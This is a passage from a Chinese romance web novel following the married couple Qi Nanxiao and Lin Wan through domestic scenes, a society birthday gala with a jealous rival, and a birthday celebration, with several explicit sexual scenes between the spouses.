祁南骁却已经走到灶台边重新开火做饭了,只见他对着做饭视频,开火倒油,谁知还没开始往里倒菜,锅就开始沸了,油渍到处乱蹦。 祁南骁吓得手忙脚乱,林晚想过去收拾残局,偏偏祁南骁跟老母鸡似的把她护在身后。 林晚一时不知道该怎么说他,果断上前去把火关了。 祁南骁从后面搂住林晚的腰,低头蹭她的耳朵。 林晚道:“你干嘛想做饭?” 祁南骁理所应当的道:“想亲手做饭给你吃。” 林晚心里暖暖的,拿起锅铲正要收拾。 祁南骁握住她的手腕:“你在一旁教我。” 林晚说:“不用了,还是我来吧。” 祁南骁却固执的很:“你这样会把我宠坏的。我可以不会,但不能不会还不学。我也想让你尝尝我做的饭菜。” 林晚想笑,心里满满当当的。 生活是生活,少不了鸡毛蒜皮,犄角旮沓。四季有更迭,风雨晴天,过日子本就是夫妻互相尊重,理解。 祁南骁忽然掐着她的腰,低声道:“你要实在是感动,等你月经走了好好补偿我呗。” “就穿上次那件蕾丝的。” “” 祁南骁很黏林晚,他也不是一见到她就跟袋鼠一样抱着她,也不要林晚一定要跟他说话。 反正他只要一有空就会待在家里,然后就黏着她教他做饭,陪她喂猫遛狗。每天他都会准时去体育局门口接她回家,给她带各式各样的礼物。 有时是贵重的首饰,有时是一些花、一些吃的。总之他每次去见她都会制造一点小惊喜。 林晚每次看见衣帽间里那大半柜子的衣服首饰,就很无语,让他别老送了。他就咧着嘴说知道了,然后下次继续送。有时候林晚都怀疑,祁南骁是不是把她当手办了,整天就想着买东西装扮她 10月底刚好是洛梵她妈妈50岁生日,洛梵为了这个生日早几个月前就开始准备了。定制高定礼服时也给林晚订了一套。 洛夫人生日那天,林晚刚好休息,洛梵特意把她约出去做水疗。 云芙是一家会员制SPA,中式风格,洛梵订的是VIP包房,私密性很好,古色古香,自带香薰,中央还有温泉,阳光透着屏风洒进来,一片祥和。 林晚泡完温泉,技师过来给她全身美容。经过护理后的皮肤白皙水润,她不是那种柔弱无骨的身材,相反她有肌肉,线条很漂亮。 洛梵看着林晚脖子上的吻痕,忍不住好奇:“你们处的怎么样?” 进入口无遮拦的闺蜜对话内容。 想到祁南骁,林晚忍不住笑:“挺好的。” “你俩合拍吗?” “啊?” “身体啊,合拍吗?他看起来就是很猛的那种人,你虽然是运动员吧,但那种事不是靠体力就能爽的,最重要的是还是得尺寸合适。” 说到这事,洛梵就不困了,她激动的从沙发上起身,拉着林晚各种科普。 林晚听得只想翻白眼:“这些你留着跟你的小狼狗去试吧。” 说到这个,洛梵就没劲儿:“别说了,我还没睡够,小狼狗就没了。” 林晚挑眉:“你俩闹矛盾了?” 洛梵的小狼狗是她一手捧起来的艺人。这个艺人可以说得上是典型的美强惨。父母车祸去世,从小就跟爷爷奶奶生活,学习成绩很好,本来有个美好前程,大三那年奶奶查出绝症。 为了给奶奶凑足医疗费,答应无良星探开始进入娱乐圈。结果,非但没有拿到好的资源。反而差点被经纪人下药送去给变态富豪玩弄。 还是洛梵无意间把他给救了下来,又看他长得好看,动用势力花钱把他从旧公司解救出来。洛梵砸钱给他资源捧他,他也很争气,一个小成本文艺片就成功让他火出圈。 洛梵倒在林晚腿上,苦着脸:“被我妈知道了,她逼我跟他断了,要我回家相亲。” 林晚微微蹙眉道:“那你是什么打算?” 洛梵深吸一口气:“还能怎么办?那可是我爸妈,给我锦衣玉食,全力拖举我的亲生父母,我总不能为了个认识不到一年的男人就跟我父母为敌吧。就算他值得,那也应该他凭他自己的本事取得我爸妈的认可,而不是靠我去道德绑架我父母。” 洛梵家里是典型的虎妈猫爸家庭,洛夫人很疼爱洛梵,却也在洛梵的个人感情方面管得很严。 林晚了解洛夫人,她是绝对不会同意洛梵跟一个条件不如她的人在一起的。其实林晚看得出来洛梵是不舍得那个小狼狗艺人的,只不过比起一个男人,家庭对洛梵来说更重要。 从美容院出来后,林晚便直接回了柳山别墅,她的妆容已经在美容院里顺便化好了。一回到家,她就直接去衣帽间换上晚礼服。洛梵给选了件香槟色抹胸包臀长裙,这个颜色很适合她。 后背拉链不好拉,林晚只拉了一半,忽然听见身后有脚步声,她缓缓回头,就看到祁南骁一身正装,乍一看慵懒奢贵,五官棱角分明,抿着薄唇,看过来的眸色深邃忱挚,仿佛多看一眼就要被吸入墨色旋涡。 “你今天怎么这么早回来?”林晚愣了几秒后才出声道。 祁南骁眸光凝在林晚身,一袭抹胸香槟色晚礼服,收腰提臀,性感又大方,漂亮得不可方物。 她身上的收腰长裙恰到好处的贴身,完美的勾勒着她的盈胸细腰,抹胸型设计更显洁白的锁骨,修长的天鹅颈,身材姣好,长发随意挽起衬得整个人纯欲且优雅。 祁南骁不动声色走过去,炙热的掌心覆在林晚的后背上,慢条斯理的帮她把拉链带上。 随即,从一旁的饰品柜子里选了一副低调的红宝石项链帮她戴上,白皙的肤色配上极致的红,这些在她身上一切都恰到好处,大概这就是冬天最浪漫的景色,令人心旷神怡。 林晚精致的五官轻淡的妆容,红唇在灯光的映射下饱满莹润,转身看着祁南骁:“你怎么这么早回来?” 祁南骁搂上她的腰:“想见你就提前回来了。” 林晚看着他的眼睛,抿唇笑道:“你这嘴就跟偷吃了蜂蜜似的,一天到晚甜言蜜语。” 祁南骁捏着她的下巴忽然低头,吻她的那一刻从喉咙溢出轻笑,低沉的,克制的,紧随其后的是温热的包裹感。林晚怕他弄脏了自己的妆容,不敢乱招惹他,任由他亲。 她的乖顺让眼前的头狼变得更加贪婪。忘乎所以时,林晚后背贴在冰冷的镜面上,一只手指先一步挡在她蝴蝶骨后面,隔绝掉镜面的冷意。 镜子里映着两人缠绵的身影,黑色西裤顶着女人白皙修长的腿,男人小麦色的掌心掐着女人白皙的腰肢,贴着腰肢的手背青筋浮现,蓬勃有力,像蛰伏的野兽,紧紧锁住自己的猎物。 这个吻持续时间很久很久,久到林晚感受到舌尖火辣辣的刺痛,才把祁南骁推开。 祁南骁抵着她的额头,眼睛一眨不眨的看着林晚。 她的唇是鲜艳的红,带着潋滟的莹润,像清晨被露水浇灌过的花,等待着采摘。 祁南骁拨开她脸颊上的发丝,低下头,还没吻到唇就被林晚给避开了。 “我的妆都花了。”她低声控诉。 祁南骁低笑出声,声音慵懒隐忍:“没花,还是那么漂亮。把我勾得都快顶不住了。” 林晚横他一眼,祁南骁凑近,压低头吻她,一记深吻过后,林晚喘气瞪他:“你要是再敢亲我,今晚你给我睡客厅。” 祁南骁举手投降,勾起唇角:“我错了,老婆。” 林晚趁机要走,祁南骁忽然将她打横抱起往床上走,衣帽间的门被他用脚勾上,整齐洁白的床单被压出数道褶皱,窸窸窣窣的声响传遍卧室,某一刻,林晚略显慌张的声音响起:“祁南骁,不行” 祁南骁愣了片刻,随即沉声道:“老婆,就一次。” 林晚咬牙切齿:“说什么都不行,给你20分钟自己解决,等下就出发去宴会。” 祁南骁声音更加压抑了:“我迟早死在你身上。” 林晚翻了个白眼:“那你倒是起来啊。” 祁南骁唇角勾起:“不行,死在你身上我心甘情愿。” 祁南骁不知做了什么,林晚忍不住发出呻吟。 “老婆,你帮我” —— 晚上八点整,黑色劳斯莱斯准时抵达生日宴会举办地点。 车子驶进去时,遍地都是豪车乌泱泱。洛梵已经带着她的父母亲自下来迎接。 早有人跑着上来接待,祁南骁先下车,摆摆手,示意车童不用开另一边的门。 他扣上西装扣子,绕到另一边,亲自给林晚开门,林晚还没下车,手掌就被祁南骁握住,由他挽着。 祁南骁的车出现时,大家心照不宣的朝门口看去,祁南骁的出现一下子就点燃了现场的氛围,他一身黑色西装,剑眉星目,定制的西装恰到好处的撑起他的身形,周身散发着桀骜不驯的权贵气息。 他是京圈里有名的权贵,年纪轻轻就执掌家族企业,身价极高,不少名流都想跟他联姻,却听说他早早就低调结婚了。 一开始很多人都不信祁南骁已经结婚了,可后来越来越多人看到他手上戴着的婚戒,时不时的就听到祁南骁安排人在拍卖会上拍下高奢珠宝,大家便知道传说中的事并非捕风捉影。 如今亲眼看到祁南骁亲密的挽着女伴,他侧头看向女伴时,眼底的温柔都快溢出来了,而那女伴手上还有一枚跟他明显是一对的婚戒。 这对低调的豪门夫妇在社交场初次登场,俊男美女的外形给在场的所有人都留下深刻印象。 这下传言彻底成真了。 众人不禁带着挑剔的眼神看向祁南骁身旁的女人,一袭Valentino香槟色长裙,布料修身勾勒出她姣好的身姿,她长得很漂亮,明明是一张非常明艳妩媚的脸,可萦绕在她周身的气质却一点也不俗气,反到是端庄英气,这样的女人即便是站在祁南骁身边气质也丝毫不比他差。 她走几步扯了扯祁南骁的袖子,祁南骁低头听她讲悄悄话,说完又宠溺的冲身旁的女人微微一笑。 洛尚文带着妻女早早过来寒暄:“祁先生欢迎您的到来。” 祁南骁微微颔首:“您是小晚的长辈,我们身为晚辈前来给洛夫人祝贺是应该的。” 他这话可谓是给足洛尚文的面子,顺便说给周围的人听,林晚在祁家的重要性。 林晚这边已经被洛夫人拉着好生稀罕一遍了。 林晚笑着去抱洛夫人:“伯母,生日快乐。” 洛夫人对于祁南骁跟林晚的关系倒不意外,她笑着道:“小晚,最近还好吗?你爸那边呢,还好吧?” 林晚笑着点头道:“挺好的,每个月都能去看望我爸一次,医生说他情况好很多了,什么时候醒也不一定。” 洛夫人拉着她的手,轻轻拍了拍,声音里有着不易察觉的心疼:“你跟我们梵梵从小就是好姐妹,我们洛家就是你家,有什么需要帮忙不要客气,伯母一定会竭尽所能。” “谢谢伯母。” 一行人往宴会中心走去,祁南骁早已被不少人围着客套寒暄了。 林晚这边也没好到哪里去,太太团们试图通过她跟祁家搭上关系。林晚不适应这样的应酬场合,笑得脸都快僵了,又不能无缘无故直接离开,只能虚与逶迤的客套,幸好洛梵及时把她从人群中解救出来。 经过餐饮区时,林晚这才注意到不远处的沈怀川,他正在跟洛夫人寒暄。 林晚不动声色收回视线跟洛梵躲到阳台里,洛梵给林晚递了杯橙汁,解释道:“我没想到我爸妈还邀请了沈怀川,估计是借着宴会的名头,想介绍我跟他相亲。你没发现,今天来了很多年轻男人吗?” 林晚扫了眼宴会厅,发现来了不少青年才俊。 洛梵喝了口酒道:“估计沈怀川也是我爸物色的人选之一。等宴会结束后,我会跟他们说少跟沈怀川来往。” 林晚道:“不用这样,他又没对你们做什么,你们没必要因为我避嫌。” 洛梵一脸无语道:“拜托,祁南骁是你老公,他跟沈怀川不对付。我当然是选择跟你同一战线啊。” 林晚捏了捏她的脸:“谢了。” 洛梵又喝了一杯酒,林晚看出来她情绪不是很高,见不得她强颜欢笑,心软安慰道:“既然放不下,干嘛还要逼自己跟他分开?” 洛梵靠在栏杆上,透过高脚杯看着里面的灯影,眨眼的功夫,掩饰掉眼底的情绪:“当你向下兼容一次,就会有无数次。他要是真有他说的那么喜欢我,就会想尽办法走到我这个阶层,走到我身边,那样的男人才配得上老娘。如果他爬不上来,那就表示他不值得。” 林晚笑了,举着杯子和洛梵碰了下:“我们的人生应该是广阔天地,而不只是某个男人的心。” “那是。” “梵梵,你俩怎么躲这里来了?” 洛夫人的声音从身后响起,林晚和洛梵同时转身。 洛梵无奈道:“妈,我们不爱凑热闹。” 洛夫人不乐意:“你休想给我躲在这清闲,妈给你相了几个,你去跟人家聊聊,没说让你现在就谈,只是交个朋友。” 洛梵蹙眉:“妈,我现在还不想谈恋爱。” 洛夫人面色有点沉:“你还想找那个明星?我跟你说过了,娱乐圈不干净,别在那里面找对象,你就是不听我的。你看看他就跟你谈多久,就把你拿捏住了。那里面个个都是戏精,随时随地给你大小演,就你还傻傻以为是真爱。” 洛梵抿唇:“说的你给我找的那些就有多干净似的。” 洛夫人拉着洛梵的手,语重心长道:“我费那么大劲培养你,送你读名校,不是要把你培养成一个只会谈情说爱的白富美。虽说现在婚姻自由了,但我跟你爸总有一天会老的,等我们走了,这偌大的家业就你一个人要怎么守,怎么防得住手底下那些蠢蠢欲动的人?” “妈也直接跟你明说了,你的对象要么就是家族背景好的,能给你锦上添花的。要么就是要找那种技术很好特别优秀的打工皇帝。后者比较不稳定,我跟你爸担心等我们走后,你会被吃绝户。” 洛梵听得头都大了:“妈,你想这么多干嘛。” “你要是有本事从你爸手里把公司拿去,并且成功让公司董事会的人服你,我就不逼你嫁人。” “” 洛梵最终还是被洛夫人带走了,林晚站在原地看着斑斓不清的霓虹灯思绪飘远。也许真正的母爱大致如此,不仅给孩子爱和资源,还教会她接受这个社会的不公平,然后再教她如何在这个真实而残酷的世界里博弈。 如果想走捷径,还可以利用家族的势力加持自己。 林晚忽然有点想何俪、林国冬还有林栋了,曾经他们也是这样热烈纯粹的爱她。 阳台风有点大,林晚穿着风衣外套站在这里被吹得发丝飘然,但她却并不想进去。好似,只有寒意才能把她心里的难过生生压下去。 不多时,眼前突然洒落一片阴影,林晚下意识抬眸,就看到西装革履的沈怀川,他一身白色西装,领口处的领带系得一丝不苟,鼻梁上还架着一副金边眼镜。 第59章  “回家交流夫妻感情吧。…… “怎么站在这里, 冷吗?” 低沉的男声从头顶传来,林晚不动声色往后退一步,看着他笑道:“还好。” 沈怀川眼眸微顿, 站在她身边,若无其事的道:“上星期, 我去看望了老教练,他老人家跟我聊起你了。” 林晚道:“他老人家身体还好吗?” 沈怀川垂眸,温声道:“还是老样子, 都是一些旧伤, 哪天有时间我们一起回去探望下他吧?” 这是去探望恩师, 林晚没理由拒绝, 只能笑着应声:“好啊,正好可以把我丈夫介绍给刘队认识。” 沈怀川听见祁南骁的名字, 眸色愈发暗淡:“他对你好吗?” 说起祁南骁,林晚露出真心的笑容:“他对我挺好的。” 沈怀川直直的看着她,表情有点哀彻,看着她的眼神深邃莫名:“小晚。” “老婆。” 两道男声同时响起, 林晚眼眸微亮看向另一边,黄澄澄的暖光照过来, 祁南骁站在灯影下冷硬的面容,高大的身形撑起西服轮廓,领带的颜色跟她身上的礼服一样是香槟色, 是他特意选的情侣款。 林晚提着裙摆迫不及待走过去,会心一笑, 眼尾弯弯,把手搭在祁南骁手腕上。 沈怀川望着林晚离开的背影,恋恋不舍, 那模样像极了痴心暗恋者。 祁南骁本来没打算理会沈怀川的,但看见这一幕,眼底瞬间升起怒火:“沈先生,眼睛不舒服就早点回家休息,免得在这碍人眼。” 沈怀川站直身子,对祁南骁没了笑脸,他看向祁南骁,目光有愤懑、有敌意。 祁南骁也没退没让,目光之中是镇定、是淬了火的利箭,这人三番两次去骚扰林晚,真当他是死的吗? 两人身高相近,四目相对,目光骇人,如暗礁触浪。 林晚后知后觉两人之间的气氛不对劲,她悄悄扯了扯祁南骁的衣袖,别把场面闹得太难看。 祁南骁握住林晚的手,侧头温声开口:“我知道。” 沈怀川目光陡然变冷:“你也不过了趁火打劫逼她嫁给你,你以为你有多高尚?” 祁南骁从没被人这么挑衅过,心底怒火一下子窜到头顶。 林晚及时拉住他,她深吸一口气,看向沈怀川正色道:“沈先生,南骁是我丈夫,我跟他是夫妻,不存在威逼利诱的关系。” 沈怀川望着林晚,眼里有抓心挠肺的不甘。 气氛从沸点陡然降到冰点。 祁南骁见状脸上露出一抹嘲讽,他揽着林晚的腰迈步走到沈怀川身边,擦肩而过时,他冷声开口:“离我老婆远点,别好好的人不当,非要当狗。” 沈怀川的肩膀被撞了一下,他身形微抖,转头看着两人离开的背影,清冷儒雅的眸光里浅藏着寒意。 —— 林晚和祁南骁回到宴会厅后,两人都不愿意挤在人群中心,最后不约而同的站在角落里。 祁南骁搂着她:“以后不许跟他说话,他对你图谋不轨。” 林晚瞥眼:“你是不是忘了,我还欠他一个人情。” 祁南骁目不转睛的盯着林晚,眼底的憋屈都快要溢出来了。林晚猜到他心底想什么,淡定的口吻道:“”我不喜欢他,你不用担心我会移情别恋。” “别去找他麻烦,他跟秦东言走得很近,谁也说不准他会不会跟秦东言联合起来给你挖坑。” 祁南骁不说话,林晚道:“你听见没有?” “嗯。” 林晚见他乖乖应声,声音也放柔了些许:“我们是合法的夫妻,能把我们分开的只有我们自己。” 祁南骁勾起唇角:“你是不是吃蛋糕了?” “嗯?” “嘴巴这么甜,给我亲一下。” 林晚推开他:“给我拿瓶矿泉水。” 祁南骁乖乖去拿水,林晚看着大厅里络绎穿梭的来宾,一时有时出神。场地不小加之奢华的摆件赋予视觉压迫,令人眼花缭乱。 轻呼一口气,林晚眼眸往左,视线一顿,辨别两秒后,她眼眸微亮。 就在不远处,她看到了梁子超还有白箐,两人也站在角落里,只不过梁子超神色变化比较大,显然他的情绪也比较大。 林晚环视一圈,才在宴会中央看见同样西装革履的梁景宸。很显然白箐是作为梁景宸的女伴而来的。 几人目光相对,林晚挥手跟他们打招呼。白箐接过梁子超递过来的红酒,小声问他:“祁总跟林小姐打算公开两人的婚姻了?” 白箐一袭纯黑色晚礼服,大波浪长发披肩,烈焰红唇轻抿杯口,举手投足间都是恰到好处的性感,梁子超看得有些出神,咽了咽喉结道:“他俩没打算刻意隐瞒,估计是想顺其自然。” 白箐勾起唇角,低声呢喃:“没想到祁总还是个情种,这在我们这样的圈子里还是挺稀奇的。” 梁子超想也不想就道:“林晚值得。” 白箐笑着道:“林小姐很优秀,才能让祁总心甘情愿的臣服于她,他们能先婚后爱并不奇怪。” 梁子超深深的看了眼她,不动声色的问:“你也想跟我哥先婚后爱?” 白箐美眸微挑:“你替你哥来试探我? ” 梁子超道:“就不能是我自己来试探你?” 白箐放下高脚杯,缓缓起身,红唇微勾:“小孩子少打听大人的事。” 白箐转身往宴会中心走,梁子超看着她离开的身影,将她之前放下的酒杯拿起,抿着杯口的红唇印将剩下的红酒一饮而尽。 梁子超喜欢白箐很多年,他们之间差五岁,小时候就跟在她和梁景宸屁股后追。然而白箐一早就跟梁景宸订下婚姻了。 他只能把这份喜欢藏在心里,慢慢淡忘。如今梁景宸被曝外面养了女明星,白家对此颇有意见,梁子超心底的那些情愫再次蠢蠢欲动。 林晚是真的忍不住八卦的心,眼神一直往那边看,全神贯注吃瓜。 祁南骁就站在她身旁,侧身抱着她,掌心一直在她腰上摩挲,时不时还要低头亲她,一下又一下。 林晚光顾着吃瓜,被他一直打扰,心底恼火,收回视线瞪他:“你找打是不是?” 祁南骁抬眸,眨了眨眼,一脸无辜:“来之前你可是答应我了,今晚奖励我,让我主导,怎么一转身就连亲都不让人亲了?” 林晚想到来之前,怕他霸王硬上弓,一时脑热答应了他一堆没羞没臊的要求。想起这些,林晚恼羞成怒的回道:“你给我收敛一点,别骚扰我。” 祁南骁似笑非笑:“你在看他们两个人中的谁?” 林晚咻的看向祁南骁,祁南骁没有看她,抬眸看向梁子超那边:“你眼睛都快飞过去吃瓜了。” 林晚低头不自觉的摸了摸鼻头:“我在跟梁子超打招呼。” 祁南骁指尖在她锁骨上轻抚,低笑一声:“他看起来忙着搭讪,不是很想理你。” 林晚闻言垂眸不说话,就是不看祁南骁。对于暗恋自己未来嫂子的事,梁子超本人倒没有什么忌讳,但这事毕竟是他隐私,没有他本人允许,林晚也不好跟祁南骁说。 祁南骁看了眼默不作声的林晚,主动道:“他看上白箐了。” 不是疑问句,而是肯定句。 林晚抬眸,眼眸瞪得圆大。祁南骁是怎么看出来的?平日里的祁南骁总是吊儿郎当的样子,她都差点忘记了祁南骁好歹是千亿公司的总裁,情商智商都是顶尖那挂的人。 林晚干脆不掩饰,只剩强颜欢笑了。 祁南骁低声道:“还真是喜欢他未来嫂子啊。” 林晚:“” 林晚彻底绝望了,低着头小声道:“梁景宸告诉你的?” 祁南骁笑着道:“景宸知不知道我不知道,但我是通过你知道的。” 林晚美眸微瞪:“我可没跟你说。” 祁南骁道:“你平时对什么事情都不太上心,但刚刚你那眼神恨不得贴到那两人身上了。就算梁子超是你朋友,你也不至于对他这么感兴趣。能让你这么激动的就只有他们两人之间的事了。” 林晚泄了气,玩心眼根本玩不过祁南骁,她低声问道:“梁景宸对白箐是不是完全没感觉?” 祁南骁笑着道:“我要说有的呢?” 林晚眼底狐疑更甚:“他要是真的喜欢白箐干嘛还要在外面包养女明星。” 祁南骁搂着她的腰,侧头在她耳边轻语道:“骗你的,白箐不是他喜欢的类型。” 林晚道:“他喜欢什么类型的?” “身材好,长相清纯性格更单纯的。” 林晚不动声色的绷着脸,祁南骁就差直说是胸大无脑的类型了。果然,男人都一个样的庸俗。 祁南骁撩拨她的的碎发,以为她还在生梁景宸的气,解释道:“他们之间是商业联姻,双方都知道这一点。” 林晚扯了下嘴角道:“就是家里红旗不倒,外面彩旗飘飘呗。” 祁南骁不可置否。 林晚轻哼一声:“那就别怪自己头上多出来一片青青草原了。” 祁南骁看着她气鼓鼓的样子,忽然岔开话题:“回家吗?老婆。” 林晚不知道他的心思道:“我还想去找梁子超。” 祁南骁拉着她往外走:“别打扰人家搭讪了。” “回家交流夫妻感情吧。” 林晚:“” —— 回柳山别墅的路上,祁南骁升起后座的挡板。林晚好几次对上祁南骁的眼神,都有一种会被他在车里就地正法的感觉。 林晚有点后怕,早知道一开始就不给他画大饼了,吊了他一晚上,现在她就是他砧板上的鱼肉,根本就逃不了。 到家,连高跟鞋都没来及脱,林晚就被祁南骁抱着回了卧室。 祁南骁用脚把门勾上,一个转身就把林晚推于门板上。 男人的唇像烙铁似的在她耳侧、颈间、锁骨上一点点烙印。 两人身体紧紧地拥抱在一起,祁南骁疯狂的吻她,她只能被动的接受他的炙热,就像夜空中轰然炸响的烟花,绚烂热烈。 几番唇舌撕扯过后,身体的躁动因子已经无法得到满足。祁南骁的手终于扯掉林晚蝴蝶骨后面的拉链,顺着她的背脊缓缓向下,他的指腹比她的皮肤要醋,所到之处,撩得林晚难以忍耐。 当裙子彻底被扯开时,林晚忍不住推他的肩:“不行,裙子。” 祁南骁气息不匀的低笑一声,林晚咬唇喉间发出一声闷哼。 “我行不行,你不知道?” 似是不满她的质疑,祁南骁今晚格外用力,亦或是堆积了一晚上的欲/火终于得以发泄。祁南骁身体力行,埋在林晚的身上无声汹涌。 他的腹肌线条格外硬朗简练,而在方才一轮攻略中,早已热汗淋漓,汗珠顺着喉结一路滑着胸肌落在鲨鱼肌下面,祁南骁付身擦掉林晚眼尾的泪,他眼里只剩下奢求、迷恋还有填不完的欲/望之海。 这样荷尔蒙爆发的时候最具有观赏性,可惜林晚还来不及好好欣赏,祁南骁便低头吻着她的脖颈、锁骨 樱桃经过柔搓和洗涤后变得更加充盈饱满,在唇齿间绽开,空气里都是特有的甜香气息。 唇舌一路游离而下直至目标。 林晚只觉得自己的筋骨快要酥软掉了,整个人仿佛被抛在云层之上,身心极悦之后,不自觉的按住乱动的脑袋,却又不自觉地把祁南骁当初唯一的支撑点。 祁南骁抬起头,握住她的膝盖,轻轻落下一个吻。 林晚心尖都麻了,不受控制的颤了下。 祁南骁一路吻到她的唇角,鼻尖抵着她的脸颊:“尝尝?” 林晚恨不得踹他一脚,羞愤地抗议:“混蛋。” 祁南骁缓缓包裹住她的手,一点一点捋开她的手指,低笑一声:“还有更浑,要不要看看?” 第60章  生日惊喜 时常听别人说婚姻是坟墓, 结婚以后便不再有风花雪月、怦然心动,剩下的都是柴米油盐,鸡毛蒜皮, 久而久之剩下的只有忽略对方、产生嫌弃、麻木和争吵。 林晚觉得自己也难逃这个定律,然而在跟祁南骁相处了大半年后, 她发现自己跟祁南骁根本不会因为原则问题吵起来。 虽然两人有时会为夫妻房事争论一下,比如祁南骁总是没节制,林晚一拒绝, 他就磨着她不让她睡, 每每这个时候, 林晚就想打死他。 但两人恩爱的热度丝毫不减, 真要说有什么变化的话,那就是婚姻让两人的感情变得更加温馨细水长流了。 每到周日, 林晚休息的时候,祁南骁就会拉着她睡懒觉,睡到日上三竿才会放她起来,两人一起简单的做个早餐吃完, 出门遛狗逗猫。 如果天气好,林晚会跟祁南骁打下网球, 偶尔他也会陪她练击剑。祁南骁的击剑还是他为了申请牛津上学特意学的,虽然没有专业运动员那么厉害,但也能给林晚当陪练。 到了下午, 祁南骁就坐在室内处理邮件,林晚会在书房阳台上看书, 布丁就窝在她脚边晒太阳。 灵魂一旦被爱,血肉就会疯狂生长,布丁的金色毛发在阳光下闪闪发光, 它依旧不喜欢被人抱在怀里,却格外喜欢窝在林晚脚边。 这也许就是它重新信任人类的方式。豆包和蛋黄就在不远处跑来跑去咬玩具。 看书是林晚的爱好,她喜欢这样岁月静好安心沉淀的时光。当然这样的时光仅限于祁南骁的到来之前。 如果布丁第一时间蹿回自己的小窝,不用猜就一定是祁南骁来了,他一来就要枕在她腿上,亲亲摸摸,基本上到了这个时候林晚就没有耐性再看下去了。 偶尔,两人也会去看望林国冬,还有祁占山。 兴致来了两人就一起出去逛商场。 “老婆,这个耳环好看。” 林晚那时正在买睡衣,转身就看到祁南骁拿着个丝绒盒子迫不及待给她。 “你昨天不是才给我买耳环吗?” 祁南骁道:“你皮肤白,戴红宝石好看。” 灯光照射下,钻石闪着银光,红宝石像浸了红酒,散发着艳丽柔和的暗红色,林晚对着睡衣店的全身镜就戴了上去。 她皮肤本就白,在专业的暖光灯下,更是是白得发光,搭配上色泽浓郁而热烈的红宝石,整个人透着一种奢华典雅的美丽。 林晚扭头撩了下头发给祁南骁看。 祁南骁指腹轻捻了下耳垂,低声道:“好看。” 林晚也觉得好看,祁南骁的眼光很好,每次送她的东西都能送到她心坎上。 祁南骁揽着她的腰微微低头:“睡衣看好了吗?” 林晚点头。 祁南骁忽然咬着她耳朵轻语:“再买几件。” 林晚一开始还没明白他要买什么,直到看见他指挥店员打包了好几件蕾丝情/趣/内/衣。 林晚脸都红了,当天晚上祁南骁哄着她穿,却碰上她来月经,把他自己折腾得半死。 林晚要睡觉,他还偏要拉她一起看电影。林晚挣不过他,只能坐起来陪他。 他要看的那部电影带着点色/情,林晚不同意,果断把平板抢过去点了部恐怖片播放。 祁南骁伸手抱住林晚的腰,头歪在她肩膀上,林晚侧头幽幽的看了他一眼,祁南骁很不要脸的说:“我保护你。” 林晚:“” 结果电影才开始十分钟,第一个鬼魂出现,祁南骁就吓得问候鬼的祖宗,同时还把平板给扔了。 林晚忍着笑:“你怕鬼?” 祁南骁手脚缠住她:“那玩意有什么好怕。” 林晚挑眉:“那你别关平板啊。” 祁南骁说不过她,直接翻身把人压床上,低头吻了下去堵住她的嘴。 林晚感受到他身体的变化,中途忍不住调侃:“你自己就是色鬼,你怕什么鬼。” 祁南骁干脆把平板退出来随手盖床头柜上,抬起林晚的下巴,专心致志吻她。 林晚搂上他的脖颈,张唇任他舌尖滑进来,慢条斯理的回应着他。 床头柜的光是暖色调的,昏黄暧昧,床上的身影搂在一起,难舍难分。 祁南骁扣着林晚的腰,隔着衣服往上游离,林晚喘着气,不让他抓。 祁南骁趴在她身上:“我还没看你穿过情/趣/内/衣。” 林晚没说话,只是闷声轻笑,她打算过几天祁南骁生日时给他一个惊喜。 —— 祁南骁的生日是1月1号,他有心理准备林晚会给他过生日,却没想到她只是带着他去了趟疗养院。 进门看到乌泱泱一屋子人,不是亲戚就是朋友,祁南骁一时不知道该笑还是该愁。 方茗泽见状调侃道:“我们惊喜给你过生日,你就这副脸色?” 蒋酌笑着道:“他这是想跟嫂子一起过,压根不想看到我们。” 祁南骁想说明知故问,但被林晚扯着他衣角暗示,他不得不睁着眼说瞎话:“哪里,你们能来我很开心。” 方茗泽笑着道:“这么正式不知道还以为你这是要开年会了。” 林晚扯祁南骁的衣角低声解释道:“爷爷把你抚养长大不容易,我们今天就陪着他老人家热闹热闹。” 祁南骁也不是不想跟老爷子一起过,只是更想赶紧吃完饭跟林晚去过二人世界。 人员到齐,众人陪老爷子吃了顿热闹的晚餐,林晚亲手做了两碗长寿面,祁占山和祁南骁一人一碗。 祁占山高兴,夹的第一跟面条就是最长的,大家都祝贺他长命百岁。他一高兴就想着发钱,送了林晚好几栋海城的写字楼还有公司的股份,还让管家把合同拿上来看着她签字确认。 林晚哭笑不得:“爷爷今天是南骁的生日。” 祁占山不以为意:“南骁的就是你的,他的资产都给你管。” 祁南骁把面条分一半给林晚,随口道:“爷爷说的对,老婆以后你管钱。” 林晚只能小声跟他控诉着:“你收敛一点。” 祁南骁在桌底下握着她的手,在她手心轻轻挠了几下。 餐桌上一堆人吵嚷着,竟真的搞出些气氛来。 晚餐结束,佣人推了个蛋糕过来。上面还有一对人物卡通,仔细一看还是他跟林晚的人偶卡通像。 祁南骁被分到这对卡通人像时,眼里都是笑意,捧在手心里爱不释手。第一口就喂给林晚吃。 林晚有些不好意思,刚开口拒绝,就被祁南骁喂过来的蛋糕堵住嘴。 蒋酌拿着蛋糕路过,摇头感慨:“我以前怎么就没发现你这么明骚呢。” 方茗泽道:“他以前是闷骚,现在是明骚。” 祁南骁看他一眼,根本不想反驳,反而用可怜的语气道:“你们这些只走肾不走心的人根本不懂。” 方茗泽真的不懂,婚姻就是爱情的坟墓,结了婚就没了自由,一个两个都成了妻管严。想当初祁南骁多桀骜不驯的人,跟野马似的,横起来九头牛都拉不回,现在林晚一个眼神就把他吃得死死的。 吃蛋糕的时候,林晚给祁南骁送了个礼盒,打开来是一条精致的领带。 祁南骁当场就让林晚帮他把领带系上,心里满足又幸福。这个生日过的比他以往的每一个生日都重要,有爱人、有家人、有朋友,让他几乎要无欲无求了。 夫妻俩是晚上十点回到柳山别墅的,祁南骁喝了不少酒,他有些微醺。 回到卧室时就直接靠在沙发上休息。压根没有注意到林晚偷偷摸摸跑到衣帽间拿了什么东西后又跑去了浴室。 不知过了多久,祁南骁只觉得眼前被什么布料给挡住了。他下意识抬手要阻止,林晚站在他身后,出声道:“嘘,不能摘下来,不然不给你惊喜了。” 祁南骁闻言立马松开手,还是忍不住好奇摸了摸挡住他眼睛的布料,不摸不知道,居然是蕾丝的。 他呼吸瞬间深沉起来,压下去的酒意一瞬间又涌了上来了,气氛莫名变得有些热烈。 他抓住林晚的手不放,生怕她逃了,林晚想抽回手,他牵着紧紧的压根不肯放,她只能被他牵着绕着沙发走。 